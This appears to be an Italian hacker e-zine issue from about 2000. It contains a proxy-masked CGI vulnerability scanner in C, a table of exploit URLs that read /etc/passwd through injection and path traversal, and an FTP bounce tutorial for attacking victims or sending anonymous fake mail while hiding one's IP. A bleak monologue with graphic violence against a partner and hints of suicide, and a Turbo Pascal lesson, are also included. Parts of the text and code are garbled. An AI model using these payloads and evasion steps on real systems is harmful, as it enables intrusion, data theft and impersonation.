"Strumenti"e appena premete il tasto IVIO per aprire il database clickateci
sopra in modo tale che il men— si apra durante il caricamento del dbase e ...
magia ... il submen— "Avvio" Š ancora l disponibile he he he.
Entrateci e riabilitate tutto quindi uscite oops non Š cambiato nulla ...
chiaro il men— non si chiama Avvio per nulla... Dovete uscire da Acess
radicalmente e una volta usciti rilanciatelo e aprite normalmente il vostro
dbase e.... ma guarda ora posso modificarne la struttura... che bello...

Bene ora che ho finito di spiegarvi anche questa cacchiata,che comunque spero
serva a qualcuno, arriviamo ai saluti.
Ciao N0bodY e tnx per avermi regalato un' altro spazietto in NewBies spero
di non averlo sprecato...
Ciao anche ad un mio amico che si chiama Bernardo il quale una sera mi ha
introdotto un po' il mondo di Acess e sinceramente non ricordo pi— se mi ha
spiegato questa cosa o se l'ho scoperta da solo comunqu Thanks!...

Ah un'altra cosa: "byez to all"
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ MILLENIUM CGI BUG ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Articoluz dedicato a: Zebra3, Kobeb, Marlborol, caesar79, gaizka :)
Vs-Ded To: Sempre verso di te..lo sai benissimo, che tu possa cambiare nick
a me non frega un caxxo, io ti ritrovo, te su IRC non ci metti piede.
Found !
Found !
Found !
Avrete mika bekkato un server bakato da 65 CGI contemporeaneamente ? Mhmhmhm...bah
suppongo proprio di no...
Com'e' possibile che fino alla notte precedente il 2k tutti i prog di questo genere
mi fungevano ? ora che gli e' preso ? Il mio computer avra' il millennium bug ? mah..
Vi converebbe dare un'occhiatina ai sorgenti di cgichk.c e altri prog si
ono utilizzati nella ricerca di cgi's bug da remoMti molti di questi basano il proprio lavoro sulla ricerca di una particolare
stringa in arrivo dal server.
Il server http ci risponde in diversa maniera a seconda della richiesta inviata:

- 200 OK .Quando la richiesta e' andata a buon fine
- 400 Bad Request .Potete ben immaginare :)
- 404 Not Found .no comment
:P
Ecco cosa succede quando vi telnettate alla porta 80 e richiedete un qualsiasi file
non esistente nella root del server:

[root@localhost /root]# telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /cgi-bin/phf HTTP/1.0

HTTP/1.1 404 Not Found
Date: Wed, 12 Apr 2000 21:12:42 GMT
Server: Apache/1.3.9 (NetRevolution Advanced Extranet Server/Linux-Mandrake) PHP/3.0.13 mod_perl/1.21
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL /cgi-bin/phf was not found on this server.<P>
</BODY></HTML>
Connection closed by foreign host.

Molti di questi programmi ricercano in caso di successo la stri"nga" 200 e non
l'intera stringa "200 OK".
A questo punto son sicuro avrete capito benissimo quale sia il bug...no ? come
no ? oh ? mbe' ?
Osservate la sessione...avrete notato che anke se il server ci risponde con un
404 Not Found la stringa "200" compare cmq nel buffer di dati inviatoci...
bravi...ora avrete capito..il prob e': LA DATA !!! siamo nel 2000 e il "2000"
contiene un "200" al suo interno ihihihih.
Correggere il bug e' una vera LAMERATA basta editare il sorgente e sostituire
la stringa 200 con 200 OK...non mi dite che non avete capito..perche' in
questo caso e' meglio che vi compriate un bel cervello nuovo di zecca.
Anyway essendoci occupati dell'argomento abbiamo deciso di codare un
programmino che 1° fosse corretto dal bug e (cosa + importante) implementasse
una nuova e alquanto malefica funzione : il mascheramento del proprio IP
dietro un proxy server :)
Premettiamo che la lista dei CGI e' stata copiata ed incollata da cgichktto
quello che ne resta (TUTTO IL PROGRAMMA) e' frutto delle nostre cuccuzze
spanate.
Eccovi i pezzi di sorgente + ostici con i relativi comm.nLi, l'intero
sorgesara'te e' contennetra gli allegati :)))

port = atoi(prt); /*Convertiamo il numero della porta da un numero ad un integer.*/
printf("Looking Up %s\n",proxy);
hs = gethostbyname(proxy); /* Interrogazione del DNS per risalire all'ip del proxy */
if(!hs) {
fprintf(stderr,"Unknown host %s!\n",proxy); /* Cakkio non esiste il proxy !!! */
exit(0);
}

Messaggio subliminare: UTILIZZATE CGI's HELL !!!

else {
for(i=1;i<65;i++) {
memset(&proc,0,sizeof(proc));
memcpy((char*)&proc.sin_addr,hs->h_addr,hs->h_length); /* Riempiamo la struct sockaddr_in con i dati*/
proc.sin_family = AF_INET; /* necessari alla connessione: ip, porca ect.*/
proc.sin_port = htons(port);
sprintf(tryfor,"%s%s%s",request,target,buff[i]); /* Formattiamo la stringa da inviare */
sock = socket(AF_INET,SOCK_STREAM,0); /* Tipica creazione di un socket */
if(sock<0) {
fprintf(stderr,"Error!!!I Can't Connect to %s\n",proxy);
exit(0);
}
if(connect(sock,(struct sockaddr *) &proc,sizeof(proc)) ==-1) { /* Connettiamo il socket */
fprintf(stderr,"Error!!!Can't Connect to %s\n",proxy);
exit(0);
}
printf("Checking for %s",cginame[i]);
send(sock,tryfor,strlen(tryfor),0); /* Inviamo la nostra richiesta al server */
recv(sock,cgibuff,sizeof(cgibuff),0); /* Risposta del server in cgibuff */
if(strstr(cgibuff,okmsg)) { /* Controlla se nel buffer esiste la stringa "200 OK" */
print("YeAh....an hole! :)\n");
}
else {
print("Bleah...nothin :(\n");
}
}
close(sock);
exit(0);
}
}

Grazie della cortese attenzZZZZZzzione il rosso demone maledetto ed il sommo poeta
super-dotato vi saluutano e vi ricordano
di portare i gentili omaggi
alle vostre rispettive madri. :)) Ciaaaaaaaaaaaaa'a'a'a'a'a'a'a'a'

Dante Alighieri & Cthulhu

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ NETSCAPE AIUTACI TU! ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Benissimo..non penso ci sia bisongno di troppi commenti riguardo
'sto altro articu'lo
Es. http:\\www.dantuccio.com
bug http:\\www.dantuccio.com\cgi-bin/campas?%0acat%0a/etc/passwd%0a

Thisss aRt is DeEEEd to: Simona ed Angela....nonostante abbiate 2
caratteri diametralmente opposti siete
riuscite entrambe a sconvolgermi la vita. :)

TH|$ 4rT |$ Vs-DeD to: Tutte le volte che sto azz di IRC mi confonde
fisicamente...moralmente...ed anche......
sentimentalmente....porc'!

Ovviamente prima di provarli usare un bel proxetto non fa mai
male....sapete ci sono anche i log per l'http...e' una porta
anche quella no ??
Non raramente mi sono imbattuto in un "Smile you'r on candid camera"
oppure "your ip has been logged"
quindi preservatevi....proxatevi...hihihi....meglio se + di uno !
__________________________________________________________________________
| ^Programma buggato^| ^Stringa da inserire nel vostro browser di fiducia^
| |
|Campas cgi-bin | cgi-bin/campas?%0acat%0a/etc/passwd%0a
| |
|phf | cgi-bin/phf?Qalias=%ff/bin/cat%20/etc/passwd
| | cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd
| | cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd
| |
|cgi-bin test | cgi-bin/test-cgi?*
| |
|Count.cgi | cgi-bin/Count.cgi?display=image&image=../../../../../../path_to_gif/file.gif
| |
|htmlscript | cgi-bin/htmlscript?../../../../etc/passwd
| |
|info2www vers. 1.1 | info2www '(../../../../../../../bin/mail jami </etc/passwd|)'
| |
|handler | cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download
| |
|pfdisplay | cgi-bin/pfdispaly.cgi?/../../../../etc/motd
| | cgi-bin/pfdispaly.cgi?/../../../../etc/passwd
| |
|webdist IRIX 6.3 | cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
| |
|FrontPage | _vti_pvt/administrators.pwd
| | _vti_inf.html
| |
|php | cgi-bin/php.cgi?/file/to/view
| | cgi-bin/php.cgi?/etc/passwd
| |
|php 2 | ~dumbuser/cool-logs/mlog.html?screen=etc/passwd
| | ~dumbuser/cool-logs/mylog.html?screen=etc/passwd
| |
|iCAT Carbo Server | carbo.dll?icatcommand=file_to_view&catalogname=catalog
| | carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
By Dante Alighieri....NeWBiE StaFf....08V|0U5: 54|NT 59|R|T5 !!!

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ UN BLOCCO DI TESTO INUTILE ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Sono seduto sulla mia poltrona di pelle davanti alla scrivania, sulla quale
un portacenere stracolmo di cicche, una me la sto fumando proprio ora, un
bozza di vodka alla pesca mezza vuota, un paio di calzetti sporchi in giro
per la mia stanza, un paio di boxer, qualche scheda video, audi, un cd-rom,
un disco fisso da 140MB sparsi sul pavimento. Nello stereo i Wizo. Un gruppo
senza importanza. Siamo tutti senza importanza. Non serviamo a niente. La
guerra, la pace, l'amore. Tutto inutile. Viviamo, moriamo, ci seppelliscono.
Tutto inutile. Sono le 16.27, fuori c'e' il sole ma ho le tapparelle
semichiuse, e non mi passa un cazzo. Perché? Sono stufo. Mi sono rotto. Ho
imparato troppo in fretta. Ho gia' fatto tutto. Non c'e' piu' niente da fare.
Niente da provare. Ho finito la cicca. L'ultimo tiro. La spengo. Mi
autolesiono con il fumo. Perché? Sono un masochista. Siamo tutti masochisti.
Masochisti e sadici. Tutti. Senza esclusioni. Io fumo. C'e' chi beve. C'e' che
chi guida a 120 all'ora e passa con i semafori rossi.C'e' chi si taglia le
vene. C'e' chi si fa trattare male dal partner. Chi si
fa picchiare. Chi subisce senza reagire. C'e' chi non usa il cervello. C'e'
chi si fa usare. C'e' chi non ha idee proprie e chi ha le idee impostegli
da altri. C'e' chi e' senza palle e chi le tira fuori quando servono. Siamo
tutti cattivi. Nessuno e' buono. Pensiamo solo ai nostri interessi. Un'altra
cicca. La stanza e' satura di fumo. Pensiamo solo al guadagno. Perché abbiamo
amici? Perché ci sono nel momento del bisogno. Cioe'? Ci danno qualcosa. Li
sfruttiamo. Ci serviamo di loro. E loro si servono di noi. Pensano solo ai
loro interessi. Come noi. Non esiste nessuno che da senza ricevere. Nessuno.
Senza esclusioni. Spazi Web gratuiti? A patto che lo sponsor sia ben visibile.
La mia ragazza? A patto che le dia il suo orgasmo giornaliero. L'alcool? A
patto che gli dia le mie budella. Le cicche? In cambio dei polmoni o insieme
a un cancro. Il divertimento? In cambio di soldi. La famiglia? In cambio
della lealta'. La vita? In cambio della morte. E' giusto? Si. Tutto e' giusto.
Dipende dal punto di vista. Tutto dipende. 2 per 0 quanto fa? 0? No. Cicca
finita. Spenta. Un'altra. Due mele moltiplicate per zero sono sempre due
mele. Non nessuna. Dipende dal punto di vista. Tutto e' giusto. Tutto e'
sbagliato. Ci insegnano che e' sbagliato rubare, uccidere, violentare,
picchiare. Se un assassino entra in un appartamento e uccide la madre, la
figlia, il fratello e' cattivo? No. Non ha ucciso il padre. Poteva ucciderlo,
ma non l'ha fatto. Perché? Forse non e' cattivo. Hitler e' cattivo? Ha ucciso
milioni di persone. Lui pensava con la sua testa. Aveva idee sue. E' cattivo?
Tutto dipende. Non c'e' niente che ci possano insegnare. Non c'e' niente da
apprendere. Tutto quello che c'e' da sapere lo trovi nella tua testa. La tua.
Se la usi. Se la vuoi usare. Le scuole? Inutili. Un lavoro? Inutile. I soldi?
Inutili. Le amicizie? Inutili. L'amore? Inutile. L'odio? Forse non e' inutile.
Emozioni forti, potenti, implacabili. Forse non sono inutili. Quelle. Perché?
Bisogna sempre chiedersi il perché. Sempre. Cicca spenta. Mai provato ad amare
una ragazza cosi' tanto da riuscire a comunicarle l'amore che provi per
lei attraverso un abbraccio? Un abbraccio forte forte. Cosi' forte da
spezzarle la spina dorsale, spaccarle le costole, aprirla nel mezzo e
spappolarle le budella in giro per il pavimento. Guardarla in faccia e
vedere che della schiuma bianca le esce dalla bocca. Vedere i suoi bulbi
oculari girarsi all'indietro. Vederla morire e dirle "Ti amo.", per poi
rimanere li'. Fermo. Immobile. Con lo sguardo rivolto verso il basso. Stare
li' a contemplare le sue interna spappolate sul pavimento. Il suo sangue. E
i tuoi piedi che sono proprio nel mezzo. Sangue ovunque. E pensare quanto
ami quell'ammasso di carne in giro per la stanza. Questa stanza. Mai visto
le cose da questo punto di vista? No? E ora? Ti ho fatto riflettere? Ti sei
mai svegliato la mattina, spento la radiosveglia, e fermato a riflettere?
Perché ora mi alzo? Cosa devo fare di cosi' importante? Perché non posso
continuare a dormire? Devo cambiare il mondo? Devo crearmi una vita? Devo
andare a scuola? Devo lavorare? Perché non posso dormire? Dormire per sempre.
Nel mio letto. Un caldo e avvolgente piumino. Le lenzuola pulite. Potrei
svegliarmi da qualche altra parte. In un altro posto. In un altro mondo.
Dove quello che sogno e' quello che e'. L'esistenza. I miei sogni il mondo.
Potrei volare. Potrei amare. Potrei essere amato. Potrei Vivere. Non
sopravvivere come qui. Devo sopravvivere in un posto con regole fatte da
altri. E le devo rispettare. Devo sopravvivere in un posto dove i miei sogni
non hanno importanza. Dove le mie emozioni non hanno importanza. Ne hanno
solo per me. E' sufficiente? E' veramente cosi'? Le mie emozioni importano
a qualcuno? Alla mia ragazza? Ai miei genitori? Si. In cambio rispettivamente
di un orgasmo al giorno e lealta'. Che bella vita. Che bel mondo. Dominato da
capitalisti anarchici corrotti. Gente come me. Come te. Come tutti noi. Non
c'e' niente che io possa fare o cambiare. E' solo un'utopia di molte persone.
Non ho neanche deciso di vivere. E' stato deciso per me. C'e' solo una cosa
che posso decidere io. Quando finirla. Quando chiudere e dire basta. Alzare
il volume dello stereo, sentire le note che mi penetrano nel cervello, lo
spappolano passando al resto del corpo, aprendolo dall'interno per poi
propagarsi nel mondo, portando lo stesso messaggio a tutti. Un messaggio
di benessere, di liberta', di morte. Forse sono pazzo. Forse no. Forse tutto
questo e' solo un modo di pensare. Tutto e' relativo. Anche il tempo. Anche
lo spazio. Tutto. Forse tutto quello che hai letto ora sono solo cazzate.
Forse e' il punto della questione. Forse e' una grande verita'. Pensaci.

S2
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

2 - FTP BOUNCE (By MrTerminator)

Allora, impariamo come si usa questa tecnica chiamata: FTP BOUNCE.
Dunque, prima di tutto dovete trovare un server ftp che vi permetta di fare
l'upload e il download dei files. "E' io dove cazzo lo posso trovare un
server ftp per fare questo?"
. Semplice, e' sufficiente andare nei motori
di ricerca e scrivere tipo: warez, ftpz, oppure andate nel motore di
ricerca FTP SEARCH e provate li' a cercare
Bene, una volta trovato il server ftp, fate una piccola prova per verificare
se si puo' fare l'upload e il download dei files, se tutto va bene avete
trovato il server ftp giusto, altrimenti cercate nuovamente.
Questo e' un ftp server "base".
Ecco, ora vi presentiamo un esempio di quello che si puo' fare con questa
tecnica.

Prima di tutto dovete creare un file di comandi, (esempio: helo, MAIL FROM,
DATA,ecc.) che volete fare eseguire, dipende da cio' che volete fare. Ogni
volta che dovete fare questo tipo di attacco dovete sempre creare il file
comandi, ripeto SEMPRE.
Esempio del filecomandi da creare:

(file comandi)
HELO nomeserver.com
MAIL FROM: hackers@anonymous.com
RCPT TO: lamerz@merda.it
DATA
TI ODIO BASTARDO!!!

.
quit

Una volta creato il file di comandi dovete andare in dos e dovete aggiungere
60 Kbyte di byte 0.
E' per fare questa operazione andate in prompt di DOS e scrivete:

(file update)
debug update (tu)
Impossibile trovare il file (pc)
-f 100,f000,0 (tu)
-rcx (tu)
CX 0000 (pc)
:ea60 (tu)
-w (tu)
Scrittura di 0EA60 byte in corso (pc)
-q (tu)

Bene, ora avete il vostro file update creato con dimensioni di 60000 byte.
Dopo che avete fatto il debug, ora dovete eseguire questo comando
semplicemente in dos:

copy /b comandi+update warftp

WarFTP e' il file di comandi completo e che dovete sparare.

Bene, fatto questo, ora vi serve un client FTP come WS-FTP, se non lo avete,
scaricatelo, e se non riuscite a trovarlo (che parolona grossa ho sparato),
niente paura, visto che la maggior parte di utenti usano winzozzeria, andate
in prompt di dos e scrivete ftp, oppure meglio ancora in linux. Dovete usarlo
per trasferire il file warftp nel server "base".
Una volta effettuato l'upload (trasferimento) del file, chiudete il client
ftp e passate a telnet.
Collegatevi al server "base" sulla porta 21 di ftp e aspettate che il
server vi risponda:
Ora digitate i comandi:

USER anonymous
PASS none@none.com

Sempre in Telnet, digitate il comando PORT x,x,x,x,0,p (spero che lo
sappiate che cos'e'), dove x,x,x,x sta a significare l'ip address del server
vittima, p e' la porta da attaccare.
Mi raccomando x,x,x,x lo dovete scrivere in virgole non in punto.
Digitiamo PORT e rispondiamo al server FTP di collegarsi alla macchina della
vittima e alla porta
Ora vi spiego meglio, praticamente sara' il server FTP ad attaccare alla
macchina della vittima invece che voi, (ih ih ih, noi furboni), mi spiego
meglio, in pratica cosi' l'attacco e' stato fatto dall'Ip address del server
"base" e non voi, cosi' potete perdere le vostre eventuali tracce
Dopodiche' dovete semplicemente digitare il comando RETR nomefile e tutti i
comandi saranno inviati dal server a partire dal server ftp "base" fino alla
macchina della vittima.
Ih ih ih. Siamo furbi, eh?
Schematizzando:

Noi gli diciamo di
bombardare alla vittima (lui esegue gli ordini)
---------------- -------------- --------------
| | | Server ftp | | Vittima |
| Noi furboni | collegamento a | "base" | | |
| come i lupi | ------------------>| usato come |-----|bomb|---------->| log visualiz |
| | | mandante del | | |
| | |boss siciliano| | |
|(192.120.99.12) | |(212.100.23.9)| |(212.100.23.9)|
---------------- -------------- --------------

Naturalmente l'attacco che avete effettuato sara' l'ip del server ftp "base"
e non il vostro.
Ih Ih Ih. Forse non mi sono spiegato meglio.
Se avete un proxy meglio ancora, cosi' andate sempre piu' lontani. Eh Eh Eh Eh.

Vi mostro un'altro esempio che si puo' fare con questa tecnica.
Dunque, supponiamo che qualcuno vi sta proprio sulle sfere (coglioni) ma
veramente sulle sfere e volete inviare una Fakemail praticamente senza
sospettare che sei stato tu?

Okay, collegate al server "base" (Ftp) e inviate il file comandi della solita
FakeMail (HELO, MAIL FROM, RCPT TO, DATA). Una volta fatto questo, ora dovete
aprire la solita applicazione telnet e collegatevi sul server "base" con la
porta 21 e digitate il comando PORT x,x,x,x,0,25 dove x,x,x,x sta a
significare l'Ip address che deve eseguire il nostro file di comandi e 25 e'
la porta del servizio SMTP. Fatto tutto questo, ora digitate RETR filecomandi
che serve per eseguire i comandi.
Ora la FakeMail verra' inviata dal server senza che il vostro ip address verra'
visualizzato.
Ih Ih Ih.
Ovviamente, con questa tecnica ci potete fare un sacco di cose. Basta usare
la vostra fantasia e perche' no, un po' d'astuzia.

-----------------------------------------------------------------------

3 - TURBO PASCAL (By MrTerminator)
----------------

Introduzione
------------
Il linguaggio di programmazione PASCAL si tratta di un linguaggio intermedio
tra l'uomo e la macchina, le cui istruzioni vengono interpretate dal
calcolatore per mezzo di un programma: il compilatore Pascal.
Un compilatore e' un programma che serve a convertire in codice macchina,
ovvero in codice eseguibile direttamente dal microprocessore, un insieme
di istruzioni scritte in un linguaggio di programmazione.
Il compilatore Borland Turbo Pascal X traduce le linee di programmi nel
codice macchina della famiglia dei microprocessori Intel x86.

Il linguaggio Pascal
--------------------

Un linguaggio di programmazione, come qualsiasi altro linguaggio, naturale
o artificiale che sia, e' basato su una serie di simboli che obbediscono
alle regole sintattiche. Il linguaggio Pascal si basa sulle lettere maiuscole
e minuscole (A..Z,a..z), sulle cifre numeriche (0..9), sul carattere di
sottolineatura ("_") e su alcuni simboli speciali :

+ - * / = < > ( ) [ ] { } . , ; : '
piu' avanti vi spieghero' il significato.

Alcune parole chiave in PASCAL:

and begin const div
do else end for
if mod not of
program string write

di cui piu' avanti vi spiego il significato.


3.1 STRUTTURA DI UN PROGRAMMA (By MrTerminator)
-----------------------------
Ora entriamo nel vivo della programmazione.

program nomedelprogramma;
begin
istruzione 1;
istruzione 2;
istruzione 3;
.
.
.
istruzione N;
end.

program : fa seguito la cosidetta "dichiarativa del programma", cioe' il
nome del programma che dovete dare.

Begin: la parola chiave begin (inizio) da' inizio alla serie di istruzioni.

Istruzioni N: le istruzioni vere e proprie, scritte nell'ordine nel quale
devono essere eseguite: tali istruzioni costituiscono la parte procedurale.

End: la parola chiave end seguita da un punto che non deve mancare quando
voi finite il programma. Tuttavia la parola chiave end seguita o no da
un punto e virgola (;), che poi piu' avanti vi illustro.

Gli identificatori sono nomi simbolici usati per referenziare programmi
e molti altri oggetti del linguaggio pascal come variabili e costanti.
Questi sono a vostra scelta: potete mettere dei formati da un numero
qualsiasi fra lettere, cifre e carattere di sottolineatura, ma il primo
carattere non deve essere una cifra.

-----------------------------------------------------
Esempi di identificatori

VALIDI NON VALIDI

Pantani 6Telecoz (inizia con una cifra)
Hacker_x Porca/puttana (contiene il carattere /)
Prova cazzo culo (contiene uno spazio)
formula begin (e' una parola chiave)
-----------------------------------------------------


3.2 - DICHIARAZIONE DATI (By MrTerminator)
------------------------

La caratteristica di questo linguaggio e' quella che i dati devono essere
dichiarati prima di utilizzarle. Nel progz, subito dopo l'istruzione
identificativa per l'assegnazione del nome, deve seguire la parte
dichiarativa.
I dati si dividono in 2 categorie: costanti e variabili.
Le costanti, una volta definiti, non cambiano il loro valore nel corso
dell'esecuzione del programma. Le variabili invece, quando possono
modificarlo.
Ad esempio: (i+4) / (j*pigreco)
I e j sono variabili in quanto possono assumere di volta in volta un valore
diverso che determinera' il risultato finale, mentre 4 e pigreco sono costanti.

La dichiarazione delle costanti: La parola chiave e' CONST seguita dal nome o
identificatore, dal segno = e il valore
ESEMPIO:
CONST numero = 100;
STRINGA = 'NOME';

La dichiarazione delle variabili: Ogni variabile deve essere dichiarata
prima dell'inizio di una serie di istruzioni, la parola chiave e' VAR, dopo
il nome che avete scelto voi, dovete specificare il tipo della variabile.
La dichiarazione di una variabile avviene con l'istruzione VAR nome :
tipo; seguito da un punto e virgola.
I tipi i dati che voi potete utilizzare sono:

INTEGER - I valori contenuti nell'intervallo sono -32768...32768
REAL - I valori compresi sono tra 2.9*10^-39...1.7*10^38
STRING - Contiene una qualsiasi sequenza di caratteri che varia da 1 a 255
BOOLEAN - Contiene i due valori logici che sono TRUE e FALSE
CHAR - Contiene tutti i caratteri del CODICE ASCII
BYTE - Contiene i numeri che varia da 1 a 255

ESEMPIO:
VAR numero,i,j : integer;
stringa : string;
media : real;


3.3 - Lettura e scrittura dei dati (By MrTerminator)
----------------------------------

Dopo aver dichiarato le variabili inizia la fase di immissione dei dati
tramite con la tastiera. Le istruzioni fondamentali in PASCAL sono due:

1) READ(variabile);

2) READLN(variabile);

Queste due istruzioni consentono di inserire dati che deve dare l'utente
tramite con la tastiera, lo controlla sullo schermo e lo memorizza
all'interno della variabile dove e' posto fra le parentesi.
Queste due istruzioni read e readln sono uguali, ma hanno un comportamento
diverso al termine dell'immissione dopo aver premuto il tasto INVIO: read
lascia il cursore sul monitor nella posizione in cui si trova, mentre readln
invece manda a capo il cursore alla fine della riga.


Le istruzioni per l'emissione dei dati del linguaggio PASCAL sono due:

WRITE(output);

WRITELN(output);

Queste due istruzioni di uscita consentono sul monitor di visualizzare
qualcosa che dia come risultato, cioe': valori, variabili, messaggio,ecc.

Per esempio: se volete vedere apparire La media e' "numero" bisogna fare
semplicemente cosi':

Writeln('La media della classe e' ',output); oppure che ne so
Writeln(' La somma dei due numeri e' ',num1+num2);
ecc...

La differenza di queste due istruzioni tra write e writeln. Il primo lascia
il cursore nella posizione corrente dopo aver visualizzato un qualcosa.
Il secondo invece, dopo aver visualizzato un qualcosa, manda automaticamente
a capo il cursore alla riga successiva.


3.4 - L'ISTRUZIONE DI ASSEGNAMENTO (By MrTerminator)
----------------------------------
Dunque, l'istruzione di assegnamento e' un comando che assegna ad un nuovo
valore o una variabile che potrebbe essere il risultato di un calcolo
o qualche altra cosa e che deve essere adatta al tipo che avete specificato
nella dichiarazione.
L'assegnamento e' il simbolo := che deve essere tra l'identificatore
della variabile e il nuovo valore che dovete assegnare voi.

------------------------------------------
variabile:= valore o espressione algebrica;
------------------------------------------

ESEMPIO :
somma:= numero1 + numero2;


------------------ ESEMPIO ---------------

Program Somma;
var
a,b,formula : integer;
begin
write('Inserisci il 1° numero = ');
readln(a);
write('Inserisci il 2° numero = ');
readln(b);
formula:= a+b; {* Questa e' l'istruzione di assegnamento, capito? *}
writeln('La somma dei due numeri e' ',formula);
readln;
end.

------------------------------------------

L'espressione algebrica e' un'espressione formata da operatori aritmetici
e funzioni.
Gli operatori aritmetici in PASCAL che vi faccio una tabella sono:

-------------------------------------------------------------------------------
operatore descrizione
+ somma tra reali e interi
- sottrazione tra reali e interi
* moltipl. Tra reali e interi
/ divisione con risultato reale; possono essere reali e interi
div divisione con risultato intero; devono essere interi
mod calcolo del resto della div. Intera; devono essere interi
--------------------------------------------------------------------------------

3.5 - LE ISTRUZIONI CONDIZIONALI (By MrTerminator)
---------------------------------

If espressione logica (* se *)
Then istruzione (* allora *)
Else istruzione; (* altrimenti *)


Dopo l'istruzione If viene posta l'espressione logica che in seguito viene
eseguita l'istruzione che e' posta dopo then altrimenti quella posta dopo
l'else.
Se in tal caso manca la sintassi else non viene eseguita nessuna istruzione
alternativa.
L'espressione logica e' un'espressione che e' formata da 1 o piu' operatori
relazionali e da 1 o piu' operatori booleani o logici. Hanno come valori
vero (TRUE) e falso (FALSE).
Ora vi mostro la tabella con i seguenti operatori relazionali:

------------------------------------------
operatore descrizione
------------------------------------------
= uguale a
<> diverso da
> maggiore di
>= maggiore uguale
<= minore uguale
------------------------------------------


Sugli operatori booleani (BOOLEAN) sono definiti i seguenti operatori logici:

1) AND (e logico)
2) OR (o logico)
3) NOT (negazione logica).


Ora vi mostro un programmino d'esempio:

------------------------------- ESEMPIO ----------------------------
Program Divis_num;
Uses crt;
var
num1,num2,num3 : integer;
begin
clrscr; {* pulisce lo schermo *}
write('Inserisci il 1° numero = ');
readln(num1);
write('Inserisci il 2° numero = ');
readln(num2);
write('Inserisci il 3° numero = ');
readln(num3);
If (num1 mod num3 = 0) and (num2 mod num3 = 0) then
writeln(num3,' e' un divisore comune di ',num1,' e ',num2);
else
writeln(num3,' non e' un divisore comune di ',num1,' e ',num2);
readln;
end.

---------------------------------------------------------------------


3.6 - L'ITERAZIONE (By MrTerminator)
------------------

L'iterazione, detta anche ripetizione e' una particolare utilita' del
l'esecuzione di calcoli ripetuti o di cicli di operazioni da ripetere di
un certo numero di volte.
Nel linguaggio PASCAL esistono tre tipi di costrutti ripetitivi che sono:

1) while ... do ... {* fintantoche' ... fai ... *}
2) repeat ... until ... {* ripeti ... finche' ... *}
3) for ... to ... do ... {* per ... a ... fai ... *}


- WHILE ... DO ...
------------------
while (condizione) do
begin
istruzione1;
istruzione2;
istruzione3;
.
.
.
.
istruzioneN;
end;

L'istruzione while ... do, in pratica, tutte le istruzioni del blocco sono
ripetute, per tutto il tempo in cui l'espressione logica, rimane TRUE.
L'espressione viene valutata prima dell'esecuzione dell'istruzione.
Se l'espressione e' false, salta tutto il blocco delle istruzioni,
praticamente l'istruzione non viene eseguita nemmeno una volta.

------------- ESEMPIO --------------
Program som_esempio;
uses crt;
var
n,b,formula : integer;
begin
write('Inserisci N = ');
readln(n);
b:= 0;
formula:= 0;

while (b < n) do
begin
b:= b + 1;
formula:= formula + b;
end;

writeln('La somma dei primi ',n,' numeri interi e' ',formula);
readln;
end.

-----------------------------------


- REPEAT ... UNTIL ...
----------------------

REPEAT
istruzione1;
istruzione2;
istruzione3;
.
.
.
.
istruzioneN;
UNTIL (condizione);

L'istruzione REPEAT ... UNTIL esegue le istruzioni fino a quando la
condizione e' falsa. Appena la condizione e' vera vengono eseguite le
istruzioni successive alla UNTIL.
